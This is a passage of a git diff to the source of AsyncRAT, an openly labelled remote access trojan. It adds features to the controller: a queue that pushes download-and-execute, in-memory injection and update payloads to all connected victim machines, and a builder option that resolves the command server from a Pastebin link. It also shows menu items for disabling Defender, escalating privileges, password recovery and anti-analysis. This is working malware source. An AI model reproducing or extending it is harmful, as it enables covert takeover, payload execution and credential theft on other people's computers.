private System.Windows.Forms.ToolStripMenuItem gETADMINISTRATORPRIVILEGESToolStripMenuItem;
private System.Windows.Forms.ColumnHeader lv_admin;
private System.Windows.Forms.ToolStripMenuItem pASSWORDRECOVERYToolStripMenuItem;
+ private System.Windows.Forms.TabPage tabPage4;
+ private System.Windows.Forms.ColumnHeader columnHeader4;
+ private System.Windows.Forms.ColumnHeader columnHeader5;
+ private System.Windows.Forms.ContextMenuStrip contextMenuTasks;
+ private System.Windows.Forms.ToolStripMenuItem downloadAndExecuteToolStripMenuItem;
+ public System.Windows.Forms.ListView listView4;
+ private System.Windows.Forms.ToolStripMenuItem sENDFILETOMEMORYToolStripMenuItem1;
+ private System.Windows.Forms.ToolStripMenuItem uPDATEToolStripMenuItem1;
+ private System.Windows.Forms.ToolStripSeparator toolStripSeparator4;
+ private System.Windows.Forms.ToolStripMenuItem dELETETASKToolStripMenuItem;
+ private System.Windows.Forms.Timer TimerTask;
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
index 726c66f..9f7ea5e 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
@@ -15,6 +15,7 @@ using System.Net.Sockets;
using AsyncRAT_Sharp.Handle_Packet;
using AsyncRAT_Sharp.Helper;
using System.Security.Cryptography.X509Certificates;
+using System.Collections.Generic;
// │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple RAT
@@ -41,6 +42,7 @@ namespace AsyncRAT_Sharp
private Listener listener;
private bool trans;
+ private List getTasks = new List();
private void CheckFiles()
{
@@ -48,7 +50,7 @@ namespace AsyncRAT_Sharp
{
if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config")))
{
- // File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe);
+ File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe);
Process.Start(Application.ExecutablePath);
Environment.Exit(0);
}
@@ -82,6 +84,8 @@ namespace AsyncRAT_Sharp
portsFrm.ShowDialog();
Settings.Port = portsFrm.textPorts.Text;
}
+
+ Properties.Settings.Default.Reload();
#endif
@@ -627,7 +631,7 @@ namespace AsyncRAT_Sharp
Tick?.Dispose();
Tick = null;
listView3.Items.Clear();
- imageList1.Images.Clear();
+ ThumbnailImageList.Images.Clear();
foreach (ListViewItem itm in listView1.Items)
{
Clients client = (Clients)itm.Tag;
@@ -639,14 +643,12 @@ namespace AsyncRAT_Sharp
private void NotificationOFFToolStripMenuItem_Click(object sender, EventArgs e)
{
- if (notificationOFFToolStripMenuItem.Text.Contains("[ON]"))
+ if (Properties.Settings.Default.Notification == true)
{
- notificationOFFToolStripMenuItem.Text = "Notification is currently [OFF]";
Properties.Settings.Default.Notification = false;
}
else
{
- notificationOFFToolStripMenuItem.Text = "Notification is currently [ON]";
Properties.Settings.Default.Notification = true;
}
Properties.Settings.Default.Save();
@@ -662,7 +664,7 @@ namespace AsyncRAT_Sharp
{
if (listView1.SelectedItems.Count > 0)
{
- DialogResult dialogResult = MessageBox.Show(this, "Administrator privileges are required!", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information);
+ DialogResult dialogResult = MessageBox.Show(this, "Will only execute on clients with administrator privileges!", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information);
if (dialogResult == DialogResult.Yes)
{
try
@@ -737,5 +739,173 @@ namespace AsyncRAT_Sharp
}
}
}
+
+ private async void DownloadAndExecuteToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ try
+ {
+ OpenFileDialog openFileDialog = new OpenFileDialog();
+ if (openFileDialog.ShowDialog() == DialogResult.OK)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "sendFile";
+ msgpack.ForcePathObject("Update").AsString = "false";
+ await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
+ msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
+
+ ListViewItem lv = new ListViewItem();
+ lv.Text = "SendFile: " + Path.GetFileName(openFileDialog.FileName);
+ lv.SubItems.Add("0");
+ lv.ToolTipText = Guid.NewGuid().ToString();
+ Program.form1.listView4.Items.Add(lv);
+ Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
+
+ getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText));
+ }
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message);
+ return;
+ }
+ }
+
+ private void SENDFILETOMEMORYToolStripMenuItem1_Click(object sender, EventArgs e)
+ {
+ try
+ {
+ FormSendFileToMemory formSend = new FormSendFileToMemory();
+ formSend.ShowDialog();
+ if (formSend.toolStripStatusLabel1.Text.Length > 0 && formSend.toolStripStatusLabel1.ForeColor == Color.Green)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "sendMemory";
+ msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()));
+ if (formSend.comboBox1.SelectedIndex == 0)
+ {
+ msgpack.ForcePathObject("Inject").AsString = "";
+ msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]);
+ }
+ else
+ {
+ msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
+ msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin);
+ }
+
+ ListViewItem lv = new ListViewItem();
+ lv.Text = "SendMemory: " + Path.GetFileName(formSend.toolStripStatusLabel1.Tag.ToString());
+ lv.SubItems.Add("0");
+ lv.ToolTipText = Guid.NewGuid().ToString();
+ Program.form1.listView4.Items.Add(lv);
+ Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
+
+ getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText));
+ }
+ formSend.Close();
+ formSend.Dispose();
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message);
+ return;
+ }
+ }
+
+ private async void UPDATEToolStripMenuItem1_Click(object sender, EventArgs e)
+ {
+ try
+ {
+ OpenFileDialog openFileDialog = new OpenFileDialog();
+ if (openFileDialog.ShowDialog() == DialogResult.OK)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "sendFile";
+ await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
+ msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
+ msgpack.ForcePathObject("Update").AsString = "true";
+
+ ListViewItem lv = new ListViewItem();
+ lv.Text = "Update: " + Path.GetFileName(openFileDialog.FileName);
+ lv.SubItems.Add("0");
+ lv.ToolTipText = Guid.NewGuid().ToString();
+ Program.form1.listView4.Items.Add(lv);
+ Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
+
+ getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText));
+ }
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message);
+ return;
+ }
+ }
+
+ private void DELETETASKToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (listView4.SelectedItems.Count > 0)
+ {
+ foreach (ListViewItem item in listView4.SelectedItems)
+ {
+ item.Remove();
+ }
+ }
+ }
+
+ private async void TimerTask_Tick(object sender, EventArgs e)
+ {
+ try
+ {
+ if (getTasks.Count > 0 && Settings.Online.Count > 0)
+ foreach (AsyncTask asyncTask in getTasks.ToList())
+ {
+ if (GetListview(asyncTask.id) == false)
+ {
+ getTasks.Remove(asyncTask);
+ Debug.WriteLine("task removed");
+ return;
+ }
+ foreach (Clients client in Settings.Online)
+ {
+ if (!asyncTask.doneClient.Contains(client.ID))
+ {
+ Debug.WriteLine("task executed");
+ asyncTask.doneClient.Add(client.ID);
+ SetExecution(asyncTask.id);
+ ThreadPool.QueueUserWorkItem(client.BeginSend, asyncTask.msgPack);
+ }
+ }
+ await Task.Delay(15 * 1000);
+ }
+ }
+ catch { }
+ }
+
+ private bool GetListview(string id)
+ {
+ foreach (ListViewItem item in Program.form1.listView4.Items)
+ {
+ if (item.ToolTipText == id)
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private void SetExecution(string id)
+ {
+ foreach (ListViewItem item in Program.form1.listView4.Items)
+ {
+ if (item.ToolTipText == id)
+ {
+ int count = Convert.ToInt32(item.SubItems[1].Text);
+ count++;
+ item.SubItems[1].Text = count.ToString();
+ }
+ }
+ }
+
+
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx
index ecbf38c..24788b7 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx
@@ -117,7 +117,7 @@
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
+
17, 17
@@ -129,12 +129,15 @@
490, 17
-
- 1262, 17
+
+ 1338, 17
-
+
1113, 17
+
+ 298, 68
+
629, 17
@@ -142,9 +145,9 @@
871, 17
- 1479, 17
+ 540, 65
-
+
17, 65
@@ -604,6 +607,9 @@
gg==
+
+ 693, 65
+
112
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
index a3b15d9..54a6e4d 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
@@ -28,6 +28,7 @@
///
private void InitializeComponent()
{
+ this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormBuilder));
this.button1 = new System.Windows.Forms.Button();
this.groupBox1 = new System.Windows.Forms.GroupBox();
@@ -42,9 +43,13 @@
this.label3 = new System.Windows.Forms.Label();
this.label4 = new System.Windows.Forms.Label();
this.groupBox3 = new System.Windows.Forms.GroupBox();
- this.chkAnti = new System.Windows.Forms.CheckBox();
this.txtMutex = new System.Windows.Forms.TextBox();
this.label5 = new System.Windows.Forms.Label();
+ this.chkAnti = new System.Windows.Forms.CheckBox();
+ this.txtPastebin = new System.Windows.Forms.TextBox();
+ this.chkPastebin = new System.Windows.Forms.CheckBox();
+ this.label6 = new System.Windows.Forms.Label();
+ this.toolTip1 = new System.Windows.Forms.ToolTip(this.components);
this.groupBox1.SuspendLayout();
this.groupBox2.SuspendLayout();
this.groupBox3.SuspendLayout();
@@ -52,7 +57,7 @@
//
// button1
//
- this.button1.Location = new System.Drawing.Point(10, 705);
+ this.button1.Location = new System.Drawing.Point(10, 818);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(446, 50);
this.button1.TabIndex = 0;
@@ -62,13 +67,16 @@
//
// groupBox1
//
+ this.groupBox1.Controls.Add(this.chkPastebin);
+ this.groupBox1.Controls.Add(this.txtPastebin);
+ this.groupBox1.Controls.Add(this.label6);
this.groupBox1.Controls.Add(this.textPort);
this.groupBox1.Controls.Add(this.textIP);
this.groupBox1.Controls.Add(this.label2);
this.groupBox1.Controls.Add(this.label1);
this.groupBox1.Location = new System.Drawing.Point(16, 12);
this.groupBox1.Name = "groupBox1";
- this.groupBox1.Size = new System.Drawing.Size(440, 172);
+ this.groupBox1.Size = new System.Drawing.Size(440, 281);
this.groupBox1.TabIndex = 1;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "Connection";
@@ -82,10 +90,12 @@
//
// textIP
//
+ this.textIP.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "IP", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.textIP.Location = new System.Drawing.Point(106, 41);
this.textIP.Name = "textIP";
this.textIP.Size = new System.Drawing.Size(271, 26);
this.textIP.TabIndex = 5;
+ this.textIP.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.IP;
//
// label2
//
@@ -112,7 +122,7 @@
this.groupBox2.Controls.Add(this.textFilename);
this.groupBox2.Controls.Add(this.label3);
this.groupBox2.Controls.Add(this.label4);
- this.groupBox2.Location = new System.Drawing.Point(16, 216);
+ this.groupBox2.Location = new System.Drawing.Point(16, 329);
this.groupBox2.Name = "groupBox2";
this.groupBox2.Size = new System.Drawing.Size(440, 211);
this.groupBox2.TabIndex = 7;
@@ -145,11 +155,13 @@
//
// textFilename
//
+ this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.textFilename.Enabled = false;
this.textFilename.Location = new System.Drawing.Point(106, 92);
this.textFilename.Name = "textFilename";
this.textFilename.Size = new System.Drawing.Size(271, 26);
this.textFilename.TabIndex = 5;
+ this.textFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Filename;
//
// label3
//
@@ -174,13 +186,31 @@
this.groupBox3.Controls.Add(this.txtMutex);
this.groupBox3.Controls.Add(this.label5);
this.groupBox3.Controls.Add(this.chkAnti);
- this.groupBox3.Location = new System.Drawing.Point(16, 468);
+ this.groupBox3.Location = new System.Drawing.Point(16, 581);
this.groupBox3.Name = "groupBox3";
this.groupBox3.Size = new System.Drawing.Size(440, 174);
this.groupBox3.TabIndex = 9;
this.groupBox3.TabStop = false;
this.groupBox3.Text = "MISC";
//
+ // txtMutex
+ //
+ this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtMutex.Location = new System.Drawing.Point(106, 99);
+ this.txtMutex.Name = "txtMutex";
+ this.txtMutex.Size = new System.Drawing.Size(271, 26);
+ this.txtMutex.TabIndex = 11;
+ this.txtMutex.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Mutex;
+ //
+ // label5
+ //
+ this.label5.AutoSize = true;
+ this.label5.Location = new System.Drawing.Point(14, 102);
+ this.label5.Name = "label5";
+ this.label5.Size = new System.Drawing.Size(52, 20);
+ this.label5.TabIndex = 10;
+ this.label5.Text = "Mutex";
+ //
// chkAnti
//
this.chkAnti.AutoSize = true;
@@ -191,27 +221,43 @@
this.chkAnti.Text = "Anti Analysis";
this.chkAnti.UseVisualStyleBackColor = true;
//
- // txtMutex
+ // txtPastebin
//
- this.txtMutex.Location = new System.Drawing.Point(106, 99);
- this.txtMutex.Name = "txtMutex";
- this.txtMutex.Size = new System.Drawing.Size(271, 26);
- this.txtMutex.TabIndex = 11;
+ this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtPastebin.Enabled = false;
+ this.txtPastebin.Location = new System.Drawing.Point(106, 200);
+ this.txtPastebin.Name = "txtPastebin";
+ this.txtPastebin.Size = new System.Drawing.Size(271, 26);
+ this.txtPastebin.TabIndex = 8;
+ this.txtPastebin.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Pastebin;
+ this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606");
//
- // label5
+ // chkPastebin
//
- this.label5.AutoSize = true;
- this.label5.Location = new System.Drawing.Point(14, 102);
- this.label5.Name = "label5";
- this.label5.Size = new System.Drawing.Size(52, 20);
- this.label5.TabIndex = 10;
- this.label5.Text = "Mutex";
+ this.chkPastebin.AutoSize = true;
+ this.chkPastebin.Location = new System.Drawing.Point(264, 164);
+ this.chkPastebin.Name = "chkPastebin";
+ this.chkPastebin.Size = new System.Drawing.Size(130, 24);
+ this.chkPastebin.TabIndex = 9;
+ this.chkPastebin.Text = "Use Pastebin";
+ this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606");
+ this.chkPastebin.UseVisualStyleBackColor = true;
+ this.chkPastebin.CheckedChanged += new System.EventHandler(this.CheckBox2_CheckedChanged);
+ //
+ // label6
+ //
+ this.label6.AutoSize = true;
+ this.label6.Location = new System.Drawing.Point(14, 203);
+ this.label6.Name = "label6";
+ this.label6.Size = new System.Drawing.Size(71, 20);
+ this.label6.TabIndex = 7;
+ this.label6.Text = "Pastebin";
//
// FormBuilder
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
- this.ClientSize = new System.Drawing.Size(470, 788);
+ this.ClientSize = new System.Drawing.Size(470, 893);
this.Controls.Add(this.groupBox3);
this.Controls.Add(this.groupBox2);
this.Controls.Add(this.groupBox1);
@@ -249,5 +295,9 @@
private System.Windows.Forms.CheckBox chkAnti;
private System.Windows.Forms.TextBox txtMutex;
private System.Windows.Forms.Label label5;
+ private System.Windows.Forms.TextBox txtPastebin;
+ private System.Windows.Forms.CheckBox chkPastebin;
+ private System.Windows.Forms.Label label6;
+ private System.Windows.Forms.ToolTip toolTip1;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs
index d71dceb..66ddb85 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs
@@ -27,7 +27,9 @@ namespace AsyncRAT_Sharp.Forms
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
}
- if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(10);
+ if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(20);
+
+ if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return;
try
{
@@ -50,6 +52,8 @@ namespace AsyncRAT_Sharp.Forms
{
r.AsmDef.Write(saveFileDialog1.FileName);
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
+ Properties.Settings.Default.Save();
+ r.AsmDef.Dispose();
this.Close();
}
}
@@ -81,16 +85,10 @@ namespace AsyncRAT_Sharp.Forms
{
comboBoxFolder.SelectedIndex = 0;
textPort.Text = Settings.Port;
- txtMutex.Text = Guid.NewGuid().ToString().Substring(10);
- if (Properties.Settings.Default.DNS.Length > 0)
- textIP.Text = Properties.Settings.Default.DNS;
- else
+ if (Properties.Settings.Default.IP.Length == 0)
textIP.Text = "127.0.0.1,127.0.0.1";
- if (Properties.Settings.Default.Filename.Length > 0)
- textFilename.Text = Properties.Settings.Default.Filename;
-
- if (Properties.Settings.Default.Mutex.Length > 0)
- txtMutex.Text = Properties.Settings.Default.Mutex;
+ if (Properties.Settings.Default.Pastebin.Length == 0)
+ txtPastebin.Text = "https://pastebin.com/raw/s14cUU5G";
}
private void WriteSettings(AssemblyDefinition asmDef)
@@ -149,12 +147,35 @@ namespace AsyncRAT_Sharp.Forms
if (operand == "%Serversignature%")
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
+
+ if (operand == "%Pastebin%")
+ if (chkPastebin.Checked)
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text);
+ else
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt("null");
}
}
}
}
}
}
+
+ }
+
+ private void CheckBox2_CheckedChanged(object sender, EventArgs e)
+ {
+ if (chkPastebin.Checked)
+ {
+ txtPastebin.Enabled = true;
+ textIP.Enabled = false;
+ textPort.Enabled = false;
+ }
+ else
+ {
+ txtPastebin.Enabled = false;
+ textIP.Enabled = true;
+ textPort.Enabled = true;
+ }
}
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx
index f4aca47..408c96f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx
@@ -117,6 +117,9 @@
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+ 17, 17
+
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs
index ebd96a4..77838ec 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs
@@ -103,6 +103,6 @@
public System.Windows.Forms.Label labelsize;
private System.Windows.Forms.Label label3;
public System.Windows.Forms.Label labelfile;
- private System.Windows.Forms.Label label1;
+ public System.Windows.Forms.Label label1;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs
index 758e9d8..67ba54f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs
@@ -26,28 +26,46 @@ namespace AsyncRAT_Sharp.Forms
public Form1 F { get; set; }
internal Clients C { get; set; }
public long dSize = 0;
- public bool isDownload = false;
private long BytesSent = 0;
- private Timer Tick = null;
+ public string fullFileName;
+ public string clientFullFileName;
+ private bool isUpload = false;
private async void timer1_Tick(object sender, EventArgs e)
{
- labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
- if (C.BytesRecevied >= dSize)
+ if (!isUpload)
{
- labelsize.Text = "Downloaded";
- labelsize.ForeColor = Color.Green;
- timer1.Stop();
- await Task.Delay(1500);
- this.Close();
+ labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
+ if (C.BytesRecevied >= dSize)
+ {
+ labelsize.Text = "Downloaded";
+ labelsize.ForeColor = Color.Green;
+ timer1.Stop();
+ await Task.Delay(1500);
+ this.Close();
+ }
+ }
+ else
+ {
+ labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}";
+ if (BytesSent >= dSize)
+ {
+ labelsize.Text = "Uploaded";
+ labelsize.ForeColor = Color.Green;
+ timer1.Stop();
+ await Task.Delay(1500);
+ this.Close();
+ }
}
}
private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e)
{
- if (isDownload)
+ try
{
- if (C != null) C.Disconnected();
+ C?.Disconnected();
+ timer1?.Dispose();
}
+ catch { }
}
public void Send(object obj)
@@ -56,10 +74,10 @@ namespace AsyncRAT_Sharp.Forms
{
try
{
+ isUpload = true;
byte[] msg = (byte[])obj;
byte[] buffersize = BitConverter.GetBytes(msg.Length);
C.ClientSocket.Poll(-1, SelectMode.SelectWrite);
- Tick = new Timer(new TimerCallback(Timer3), null, 0, 1000);
C.ClientSslStream.Write(buffersize);
C.ClientSslStream.Flush();
int chunkSize = 50 * 1024;
@@ -78,32 +96,14 @@ namespace AsyncRAT_Sharp.Forms
} while (bytesToRead > 0);
binaryReader.Close();
+ C?.Disconnected();
}
}
catch
{
- return;
+ C?.Disconnected();
}
}
}
-
- private void Timer3(object obj)
- {
- if (Program.form1.InvokeRequired)
- {
- Program.form1.BeginInvoke((MethodInvoker)(async () =>
- {
- labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}";
- if (BytesSent > dSize)
- {
- labelsize.Text = "Downloaded";
- labelsize.ForeColor = Color.Green;
- timer1.Stop();
- await Task.Delay(1500);
- this.Close();
- }
- }));
- }
- }
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs
index 805b844..4bfdbdf 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs
@@ -93,7 +93,6 @@ namespace AsyncRAT_Sharp.Forms
Text = "socketDownload:" + C.ID,
F = F
};
- SD.isDownload = true;
SD.Show();
}
}));
@@ -106,7 +105,7 @@ namespace AsyncRAT_Sharp.Forms
}
}
- private async void uPLOADToolStripMenuItem_Click(object sender, EventArgs e)
+ private void uPLOADToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
@@ -114,27 +113,29 @@ namespace AsyncRAT_Sharp.Forms
O.Multiselect = true;
if (O.ShowDialog() == DialogResult.OK)
{
- foreach(string ofile in O.FileNames)
+ foreach (string ofile in O.FileNames)
{
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + ""];
if (SD == null)
{
SD = new FormDownloadFile
{
- Name = "socketUpload:" + "",
+ Name = "socketUpload:" + Guid.NewGuid().ToString(),
Text = "socketUpload:" + C.ID,
F = Program.form1,
C = C
};
SD.dSize = new FileInfo(ofile).Length;
SD.labelfile.Text = Path.GetFileName(ofile);
+ SD.fullFileName = ofile;
+ SD.label1.Text = "Upload:";
+ SD.clientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
- msgpack.ForcePathObject("Command").AsString = "uploadFile";
- await msgpack.ForcePathObject("File").LoadFileAsBytes(ofile);
- msgpack.ForcePathObject("Name").AsString = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile);
+ msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
+ msgpack.ForcePathObject("ID").AsString = SD.Name;
SD.Show();
- ThreadPool.QueueUserWorkItem(SD.Send, msgpack.Encode2Bytes());
+ ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs
index c61b3c7..68a16f5 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs
@@ -8,6 +8,7 @@ using System.Windows.Forms;
using System.Threading;
using System.Threading.Tasks;
using AsyncRAT_Sharp.Helper;
+using System.Diagnostics;
namespace AsyncRAT_Sharp.Handle_Packet
{
@@ -108,8 +109,31 @@ namespace AsyncRAT_Sharp.Handle_Packet
}
break;
}
- }
+ case "reqUploadFile":
+ {
+ if (Program.form1.InvokeRequired)
+ {
+ Program.form1.BeginInvoke((MethodInvoker)(async () =>
+ {
+ FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
+ if (FD != null)
+ {
+ FD.C = client;
+ FD.timer1.Start();
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "fileManager";
+ msgpack.ForcePathObject("Command").AsString = "uploadFile";
+ await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.fullFileName);
+ msgpack.ForcePathObject("Name").AsString = FD.clientFullFileName;
+ ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
+ }
+ }));
+ }
+ break;
+ }
+
+ }
}
catch { }
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs
index bb0cbd2..a65b154 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs
@@ -23,7 +23,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
client.LV2.ToolTipText = client.ID;
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
{
- Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
+ Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
client.LV2.ImageKey = client.ID;
Program.form1.listView3.BeginUpdate();
Program.form1.listView3.Items.Insert(0, client.LV2);
@@ -35,8 +35,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
{
Program.form1.listView3.BeginUpdate();
- Program.form1.imageList1.Images.RemoveByKey(client.ID);
- Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
+ Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID);
+ Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
Program.form1.listView3.EndUpdate();
